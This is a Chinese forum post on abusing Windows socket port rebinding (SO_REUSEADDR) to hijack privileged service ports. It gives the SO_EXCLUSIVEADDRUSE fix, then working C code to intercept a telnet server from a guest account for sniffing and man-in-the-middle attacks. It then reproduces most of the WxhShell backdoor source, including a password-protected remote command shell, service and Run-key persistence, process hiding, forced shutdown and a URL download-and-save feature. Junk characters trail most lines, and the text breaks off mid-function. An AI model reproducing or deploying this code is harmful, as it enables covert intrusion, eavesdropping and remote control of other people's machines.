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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C(5B/W6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;bes#|^F  
L2^M#G@t  
  saddr.sin_family = AF_INET; I0C$  
(Zv/(SE5%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w;KNS'   
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h$q=NTV  
~!TRR .  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  #Up X  
:<>=,`vQD  
  这意味着什么?意味着可以进行如下的攻击: ~> |o3&G{  
[78^:q-/0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uOprA`3  
j43-YdCJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ma(E}s  
GJ4R f%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OO`-{HKt  
&\/p5RX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  UqsX@jL!  
0|@* `-:VO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 TClgywL  
o<8=@ ^T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G,JNUok  
x9VR>ux&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 AF-uTf  
eU.HS78  
  #include q~*>  
  #include ;]xJC j  
  #include uj9IK  
  #include    u}I\!-EX!v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   qx<h rC0Z&  
  int main() \-~TW4dYe  
  { Uk|(VR9  
  WORD wVersionRequested; @XFy^?  
  DWORD ret; r__Y{&IO  
  WSADATA wsaData; *&lNzz5&  
  BOOL val; %vFoTu)2  
  SOCKADDR_IN saddr; .3yxg}E>{  
  SOCKADDR_IN scaddr; kA%"-$3  
  int err; CP!>V:w%9!  
  SOCKET s; c @~j}(A  
  SOCKET sc; E8s&.:;+  
  int caddsize; *FrlzIAom  
  HANDLE mt; o>}fKg<  
  DWORD tid;   1lLL9l{UVw  
  wVersionRequested = MAKEWORD( 2, 2 ); 0413K_  
  err = WSAStartup( wVersionRequested, &wsaData ); U k*HRudt  
  if ( err != 0 ) { Z 7s (g]  
  printf("error!WSAStartup failed!\n"); Y]gb`z$?  
  return -1; ffqz :6  
  } .,5N/p"aV  
  saddr.sin_family = AF_INET; QvN=<V  
   W_ hckq.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 # ^~[\8v>  
|T@\ -8Ok  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (:2,Rr1"  
  saddr.sin_port = htons(23); `cBV+00YS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q]d3a+dK  
  { J}UG{RttI  
  printf("error!socket failed!\n"); _@Le MNv  
  return -1; {(,[  
  } JD}"_,-  
  val = TRUE; l.Qv9Ll|b  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ">^O{X\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w0i v\yIRQ  
  { HKZD*E((  
  printf("error!setsockopt failed!\n"); 0kdPr:B Q0  
  return -1; N ?mTAF'M  
  } KixS)sG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r|>a;n Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 YYc.e T<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1^4z/<ZWm  
nR1QS_@{L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ``p( )^zT  
  { EgT2a  
  ret=GetLastError(); ZfYva(zP{Q  
  printf("error!bind failed!\n"); ^ A`@g4!  
  return -1; *6trK`tx^  
  } /X_g[*]?  
  listen(s,2); q`8M9-~  
  while(1) H=j&uv8  
  { DZI:zsf;5Q  
  caddsize = sizeof(scaddr); J<4 egk4  
  //接受连接请求 oSOO5dk:z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); NY`$D}Bi  
  if(sc!=INVALID_SOCKET) ,>rr|O  
  { Rr|&~%#z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <s7OY`(8   
  if(mt==NULL) wtY*{m2  
  { "=S< xT+  
  printf("Thread Creat Failed!\n"); = UT^5cl(  
  break; XH?}0D(  
  } 4G4[IA u_  
  } c[~LI<>ic  
  CloseHandle(mt); }(/")i4h  
  } " tUS>c/  
  closesocket(s); 23AMrDF=N  
  WSACleanup(); dMnJ)R  
  return 0; %ur_DQ  
  }   Z`=[hu  
  DWORD WINAPI ClientThread(LPVOID lpParam) D/ SM/  
  { $\ 0d9^)&  
  SOCKET ss = (SOCKET)lpParam; -!k$ Z  
  SOCKET sc; g{}{gBplnl  
  unsigned char buf[4096]; 1b,,uI_  
  SOCKADDR_IN saddr; cx(aMcX6  
  long num; nf7l}^/UE  
  DWORD val; eXqS9`zKr  
  DWORD ret; JQhw>H9&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :q xd])-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U?}>A5H  
  saddr.sin_family = AF_INET; w,t>M_( N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =&J 7 'nDP  
  saddr.sin_port = htons(23); j JxV)AIY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Gqz<;y  
  { ;gC.fpu  
  printf("error!socket failed!\n"); l#W9J.q(  
  return -1; q-g3!  
  } $H9+>Z0(  
  val = 100; b`=\<u8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _djr>C=H"  
  { vy t$  
  ret = GetLastError(); 1,tM  
  return -1; f"=1_*eH  
  } pt rQ~m-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TfYXF`d  
  { K9#=@}!3L  
  ret = GetLastError(); }T}9AQ}|  
  return -1; <9]9;   
  } T w!]N%E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >0W:snNK  
  { !8Rsz:7^-  
  printf("error!socket connect failed!\n"); vT#$`M<  
  closesocket(sc); X5|<qu  
  closesocket(ss); @C]Q;>^|  
  return -1; *<PQp   
  } $R'  
  while(1) cZ@z]LY.g  
  { Q!%4Iq%jr  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "t-u=aDl-.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uz(3ml^S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :jol Nl|a  
  num = recv(ss,buf,4096,0); $rAHtr  
  if(num>0) XQW+6LEQ  
  send(sc,buf,num,0); XF`,mV4  
  else if(num==0) 7g}lg8M  
  break; *vL2n>HH  
  num = recv(sc,buf,4096,0); 8J P{`)  
  if(num>0) +wAH?q8f  
  send(ss,buf,num,0); v[r5!,F  
  else if(num==0) 1 h.=c  
  break; )}-,4Iu%  
  } P,2FH2Eyj  
  closesocket(ss); Hqel1J  
  closesocket(sc); ~VRt 6C  
  return 0 ; j{i3lGaN  
  } 1<y|,  
eVobs2s  
1e 8J-Nkj  
========================================================== _Ra$"j  
Vt {uG  
下边附上一个代码,,WXhSHELL H8V${&!ho  
_%M5 T  
========================================================== 9!u=q5+E  
|a(%a43fC  
#include "stdafx.h" om`x"x&6  
\"]vSx>  
#include <stdio.h> QBg~b{h  
#include <string.h> pZS0;T]W,  
#include <windows.h> ZeUA  e  
#include <winsock2.h> 03WLVP@  
#include <winsvc.h> ewNzRH,b  
#include <urlmon.h> nN=o/zd  
K0|8h!WF+  
#pragma comment (lib, "Ws2_32.lib") u~| D;e  
#pragma comment (lib, "urlmon.lib") x<m{B@3T  
=*VKp{5=  
#define MAX_USER   100 // 最大客户端连接数 p[Pa(a,B7  
#define BUF_SOCK   200 // sock buffer N3D{t\hg  
#define KEY_BUFF   255 // 输入 buffer )jM' x&Vg  
X=i^[?C  
#define REBOOT     0   // 重启 e/pZLj]M  
#define SHUTDOWN   1   // 关机 tevB2'3^  
PdUlwT? 8C  
#define DEF_PORT   5000 // 监听端口 :x36^{7  
 p)5j~Nl  
#define REG_LEN     16   // 注册表键长度 Ow0-}Im~  
#define SVC_LEN     80   // NT服务名长度 Zc_%hQf2A  
xWwQm'I2}  
// 从dll定义API Hm>M}MF3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G:W4<w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u&q RK>wLa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .?L&k|wX-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <oweLRt  
C #A sA  
// wxhshell配置信息 $\S;f"IM.  
struct WSCFG { ~uF%*  
  int ws_port;         // 监听端口 Htg,^d 5  
  char ws_passstr[REG_LEN]; // 口令 O]"3o,/]G  
  int ws_autoins;       // 安装标记, 1=yes 0=no =J2\"6BnzA  
  char ws_regname[REG_LEN]; // 注册表键名 :ET05MFs\#  
  char ws_svcname[REG_LEN]; // 服务名 cR/-FR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Pc+8CuN?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mVJW"*}8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DAZzc :1Aj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IFrq\H0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %\5 wHT+)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3#{{+5G  
Q&zEa0^rG6  
}; gnW]5#c@  
l98.Hb7  
// default Wxhshell configuration huMNt6P[  
struct WSCFG wscfg={DEF_PORT, fOE8{O^W  
    "xuhuanlingzhe", L/2{}l>D  
    1, So&an !  
    "Wxhshell", qb^jcy  
    "Wxhshell", ]g#ur@Y%  
            "WxhShell Service", rTBrl[&,q'  
    "Wrsky Windows CmdShell Service", S,9}p 1  
    "Please Input Your Password: ", n|t?MoUP  
  1, mlIX>ss|7B  
  "http://www.wrsky.com/wxhshell.exe", vx:MLmZ.  
  "Wxhshell.exe" 'z'q)vcr  
    }; tY?_#rc  
q|*}>=NX  
// 消息定义模块 jwm2ZJW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h/I'9&J>*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I! s&m%s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .~ )[>  
char *msg_ws_ext="\n\rExit."; -8sm^A>C  
char *msg_ws_end="\n\rQuit."; K+3dwQo  
char *msg_ws_boot="\n\rReboot..."; yc./:t1at>  
char *msg_ws_poff="\n\rShutdown..."; >(v%"04|e  
char *msg_ws_down="\n\rSave to "; ?^F*M#%?  
K k 5 vC{  
char *msg_ws_err="\n\rErr!"; I)wjTTM5  
char *msg_ws_ok="\n\rOK!"; 5|&:l8=  
Jr0D:  
char ExeFile[MAX_PATH]; Oeua<,]Z~  
int nUser = 0; ?vHow$  
HANDLE handles[MAX_USER]; 4>q^W$  
int OsIsNt; tTWeOAF  
ya!RiHj  
SERVICE_STATUS       serviceStatus; 0((3q'[ <  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U}H2!et&,)  
kOv2E]  
// 函数声明 [;bZQ6JR  
int Install(void); r"yA=d'c  
int Uninstall(void); JsNqijVC  
int DownloadFile(char *sURL, SOCKET wsh); 4vri=P 2%  
int Boot(int flag); .C]V==z`[4  
void HideProc(void); 2k\i/i/Y  
int GetOsVer(void); 3j{VpacZY  
int Wxhshell(SOCKET wsl); 9fk@C/$  
void TalkWithClient(void *cs); #[.vfG  
int CmdShell(SOCKET sock); tBDaFB  
int StartFromService(void); w]Q0}Z  
int StartWxhshell(LPSTR lpCmdLine); ]dZ8]I<$C  
;aZ$qgN*Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w28!Yj1Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MQL1/>j;  
,2Y P D4  
// 数据结构和表定义 fz%I'+!  
SERVICE_TABLE_ENTRY DispatchTable[] = ftVA  
{ %bM^/7  
{wscfg.ws_svcname, NTServiceMain}, ]=2wQ8  
{NULL, NULL} QPe+K61U  
}; ]B;GU  
Ka[@-XH  
// 自我安装 (TufvHC  
int Install(void) UjmBLXz@T  
{ y`"~zq0D  
  char svExeFile[MAX_PATH]; ~7Ji+AJA  
  HKEY key; :D-xa!7  
  strcpy(svExeFile,ExeFile); T*,kBJ  
!Vtt.j &4  
// 如果是win9x系统,修改注册表设为自启动 "NUl7ce.R  
if(!OsIsNt) { F_8nxQ-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .#"O VI]#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +Eil:Jz  
  RegCloseKey(key); X[L6Av  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zCrDbGvqF`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @@L@r6  
  RegCloseKey(key); (p1y/"Xh  
  return 0; + y!B`'J  
    } ~#X,)L{y7v  
  } sOc<'):TK  
} 7U#`^Q}  
else { f_`gUMf  
mZ;W$y SO  
// 如果是NT以上系统,安装为系统服务 zWiM l.[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *9"L?S(X#  
if (schSCManager!=0) %@IZ41<C  
{ =^. f)  
  SC_HANDLE schService = CreateService nSH A,c  
  ( [al,UO  
  schSCManager, #"}Z'|X*  
  wscfg.ws_svcname, s : c  
  wscfg.ws_svcdisp, yZf+*j/a7  
  SERVICE_ALL_ACCESS, (<ybst6+I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?b',kN,(  
  SERVICE_AUTO_START, az7<@vSXi  
  SERVICE_ERROR_NORMAL, /0(2PVf y  
  svExeFile, GO@pwq<  
  NULL, jEQr{X7bEL  
  NULL, x`'2oz=,F4  
  NULL, pWo`iM& F  
  NULL, 5t6!K?}  
  NULL 3L24|-GxH  
  ); &5&C   
  if (schService!=0) )^+v*=Dc-i  
  { '}a[9v76  
  CloseServiceHandle(schService); ebk{p <  
  CloseServiceHandle(schSCManager); ny:c&XS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Lp\89tB>  
  strcat(svExeFile,wscfg.ws_svcname); &]VCZQL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fM jn8.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S5eQHef  
  RegCloseKey(key); ZN)a}\]  
  return 0; %G9: M;|'  
    } =>ooB/  
  } F(E3U'G  
  CloseServiceHandle(schSCManager); r!eCfV7  
} 9moenkL  
} TGxspmY6  
^H'zS3S  
return 1; Ro+/=*ql~  
} |]7z  
VFN\ Ryd  
// 自我卸载 `r"euO r\  
int Uninstall(void) 846j<fE  
{ cnAwoTt4  
  HKEY key; 'U<-w$!f+^  
{;4AdZk  
if(!OsIsNt) { ^FSUK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]JQk,<l5E  
  RegDeleteValue(key,wscfg.ws_regname); Zf<M14iM  
  RegCloseKey(key); wAE ,mw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m ys5B}  
  RegDeleteValue(key,wscfg.ws_regname); tN|sHgs  
  RegCloseKey(key); Y$3H$F.+  
  return 0; mq$mB1$3u  
  } CFJ F}aW  
} zn5  
} x1)G!i  
else { 4kO[|~#  
oD,f5Ci-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A3%s5`vNvH  
if (schSCManager!=0) >'#G$f  
{ $rf4h]&<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]E90q/s@c  
  if (schService!=0) L|G!of[8n  
  { kzCD>m  
  if(DeleteService(schService)!=0) { |Ia3bV W  
  CloseServiceHandle(schService); _%Ay\4H^\  
  CloseServiceHandle(schSCManager); kvh}{@|-  
  return 0; ^.Y"<oZSS  
  } >LxYP7M  
  CloseServiceHandle(schService); }S6Sz&)  
  } bu"R2~sb  
  CloseServiceHandle(schSCManager); TRG(W^<F  
} tBe)#-O  
} M-KjRl  
8;7Y}c  
return 1; v#0R   
} q#B^yk|Y  
>'eOzMBn  
// 从指定url下载文件 b?h9G3J_a  
int DownloadFile(char *sURL, SOCKET wsh) )5P*O5kQ -  
{ >`DbT:/<  
  HRESULT hr; ]X +3"  
char seps[]= "/"; fclmxTy  
char *token; x#"|Z&Dw0  
char *file; :u#Ls,OZz  
char myURL[MAX_PATH]; E"iH$NN  
char myFILE[MAX_PATH]; SymSAq0$F  
j(G}4dib  
strcpy(myURL,sURL); yEUFK  
  token=strtok(myURL,seps); Sv.z9@S  
  while(token!=NULL) :bMCmY  
  { "iE9X.6NMu  
    file=token; -bSe=09;S|  
  token=strtok(NULL,seps); 06 gE;iT  
  } 5,>1rd<B  
'Omi3LXfDT  
GetCurrentDirectory(MAX_PATH,myFILE); ^\ &:'$f+8  
strcat(myFILE, "\\"); ]H7_bix  
strcat(myFILE, file); 8Dpf{9Y-E  
  send(wsh,myFILE,strlen(myFILE),0); ABEC{3fWpu  
send(wsh,"...",3,0); zcItZP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W5?F?Dp!v  
  if(hr==S_OK) :qy`!QPUm  
return 0; }gL9G  
else l5S (x Q  
return 1; UwY<3ul  
'X{cDdS^  
} L'4ob4r{L  
F.?`<7  
// 系统电源模块 Oy[1_qfP  
int Boot(int flag) }.|\<8_  
{ 0B)l"$W[)/  
  HANDLE hToken; #"d.D7nA  
  TOKEN_PRIVILEGES tkp; U7J0&  
w3:WvA5jt  
  if(OsIsNt) { Y-&r_s_~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,s0E]](  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %[4/UD=7  
    tkp.PrivilegeCount = 1; |E!()j=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IXt2R~b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9"2.2li5$  
if(flag==REBOOT) { ~u1ox_v`%(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UiS9uGj  
  return 0; 8WV1OIL  
} Rk^Fasg"  
else { =nOV!!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :7p0JGd  
  return 0; TCp!4-~,  
} 49}yw3-  
  } "s2?cQv{#  
  else { i ^sK+v  
if(flag==REBOOT) { zvL&V .>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'nI2RX  
  return 0; !*u5HVn  
} @lAOi1m,,  
else { b].:2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H[V^wyi'z  
  return 0; hN c;, 13  
} i0,{*LD%^  
} noe1*2*TE  
0"o<( 1  
return 1; H ~1laV  
} >b,o yM  
dN;kYWRK  
// win9x进程隐藏模块 NUb^!E"  
void HideProc(void) tx&>Eo  
{ B{a:cz>0<  
{f#{NA5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aGNVqS%y  
  if ( hKernel != NULL ) _~_04p  
  { cO<]%L0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ];6c/#2x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rwFR5  
    FreeLibrary(hKernel); [y}/QPR  
  } 7CUu:6%  
*103  
return; B Hn`e~  
} >5wA B  
jpyV52  
// 获取操作系统版本 }p}i _'%  
int GetOsVer(void) u#%Ig3  
{ |8&AsQd  
  OSVERSIONINFO winfo; 5. :To2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3/:O8H  
  GetVersionEx(&winfo); fOJk+? c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Rp A76ug  
  return 1; Nv*x^y]  
  else >OE.6)'Rm  
  return 0; qLKyr@\'  
} u_@%}zo?5*  
yk#yrxM  
// 客户端句柄模块 qyUcjc%[  
int Wxhshell(SOCKET wsl) lf0/ 0KH  
{ Vv' e,m  
  SOCKET wsh; MTb}um.($  
  struct sockaddr_in client; PTA;a 0A  
  DWORD myID; n)} J<  
8Nxf2i5  
  while(nUser<MAX_USER) q?8MKf[N  
{ CSc*UX+  
  int nSize=sizeof(client); _@;2h`q ?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <?52Svi}}  
  if(wsh==INVALID_SOCKET) return 1; -QIcBzw;q  
cZ|D!1%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JwB:NqB  
if(handles[nUser]==0) yNc>s/  
  closesocket(wsh); Yc=y  Vh  
else |_F-Abk  
  nUser++; ,TOLr%+v~n  
  } seHwn'Jn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9Q]v#&1  
%2BFbaE  
  return 0; Jkpw8E7  
} @<CJbFgJp  
<X p F  
// 关闭 socket #1hT#YN  
void CloseIt(SOCKET wsh) Yp 6;Y7^  
{ qt/syF&s  
closesocket(wsh); pPo?5s  
nUser--; 'e3y|  
ExitThread(0); x~s>  
} H; TmG<S  
34YYw@?}Y  
// 客户端请求句柄 V==' 7n  
void TalkWithClient(void *cs) FtM7+>Do.  
{ z"}k\B-5  
Sx;zvc  
  SOCKET wsh=(SOCKET)cs; c/;t.+g  
  char pwd[SVC_LEN]; Lj*F KP\{  
  char cmd[KEY_BUFF]; }K~JM1(26  
char chr[1]; <B`}18x  
int i,j; {tOuKnnS  
J}jK_  
  while (nUser < MAX_USER) { 6xdu}l=%  
"1%<IqpU+  
if(wscfg.ws_passstr) { "x\3`Qk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _QvyFKAM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t8i"f L  
  //ZeroMemory(pwd,KEY_BUFF); g ywI@QD%#  
      i=0; *Q!b%DIa$  
  while(i<SVC_LEN) { r{\cm Ds  
[.6>%G1C  
  // 设置超时 mI9h| n  
  fd_set FdRead;  cD0  
  struct timeval TimeOut; F1M@$S ,  
  FD_ZERO(&FdRead); QIi*'21a+  
  FD_SET(wsh,&FdRead); 7;CeQx/W)W  
  TimeOut.tv_sec=8; [2i+f <  
  TimeOut.tv_usec=0; `Z|s p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U%oI*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N#7] xL  
1Dt"Rcn"4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X&wK<  
  pwd=chr[0]; 4bAgbx-^  
  if(chr[0]==0xd || chr[0]==0xa) { ,;/4E  
  pwd=0; EyBdL  
  break; V]q{N-Iq  
  } u:HKmP;  
  i++;  Xid>8  
    } q{U -kuui  
=7e8N&-nv  
  // 如果是非法用户,关闭 socket .Z_U]_(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GbP!l;a  
} /2FX"I[0V%  
am%qlN<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 44%H? ,d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "VT5WFj  
@lTUag'U0  
while(1) { 7]nPWz1%*  
{q}: w{x9u  
  ZeroMemory(cmd,KEY_BUFF); 3M%EK2,  
]m4LY.SQ  
      // 自动支持客户端 telnet标准   *r-Bt1  
  j=0; } \823 U %  
  while(j<KEY_BUFF) { an5Ss@<4AA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4aV3x&6X  
  cmd[j]=chr[0]; *s%s|/  
  if(chr[0]==0xa || chr[0]==0xd) { AP@xZ%;K  
  cmd[j]=0; N.64aL|1  
  break; 'h81\SKFK9  
  } >hQR  
  j++; J&3;6I &  
    } 3M@>kIT8  
+uT=Wb \  
  // 下载文件 W/\7m\ B  
  if(strstr(cmd,"http://")) { 66|lQE&n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dHp6G^Y  
  if(DownloadFile(cmd,wsh)) L1F){8[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  vo::y"  
  else {#[a4@B0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e<p$Op  
  } ?0?'  
  else { PN.6BJvu  
kBONP^xI  
    switch(cmd[0]) { A%GJ|h,i  
  ko5\*!|:lj  
  // 帮助 8p5'}Lq  
  case '?': { VqbiZOZ@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D>|:f-Z6Z  
    break; AGv;8'`  
  } >^Y 9p~  
  // 安装 PN'8"8`{  
  case 'i': { NGze: gPmO  
    if(Install()) <!+o8z]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,88Y1|:X  
    else -"cN9RF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WEsH@ [  
    break; |hdh4P$+|  
    } yq<YGNy!  
  // 卸载 QqwX Fk  
  case 'r': { !3b%Q</M H  
    if(Uninstall()) Wt`D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ja (/ym^  
    else ScTqnY$v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'sA&Pm  
    break; djSN{>S  
    } /tUl(Fp J`  
  // 显示 wxhshell 所在路径 4/h2_  
  case 'p': { Gt1Up~\s  
    char svExeFile[MAX_PATH]; Gg!))I+  
    strcpy(svExeFile,"\n\r"); jNyC%$  
      strcat(svExeFile,ExeFile); .Yf h*  
        send(wsh,svExeFile,strlen(svExeFile),0); .U1dcL6  
    break; fC-^[Af)  
    } p;5WLAF  
  // 重启 b9Y pUm7#  
  case 'b': { D3K`b4YV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6 %=BYDF  
    if(Boot(REBOOT)) JxvwquI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tS9m8(Hr%Q  
    else { 1y@-  
    closesocket(wsh); H,I}R  
    ExitThread(0); :D,YR(])  
    } ew"Fr1UGYZ  
    break; lvN{R{7 >  
    } oby*.61?5l  
  // 关机 ;?[~]"  
  case 'd': { {jVFlKP>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \8$`:3,@  
    if(Boot(SHUTDOWN)) OM.^>=  
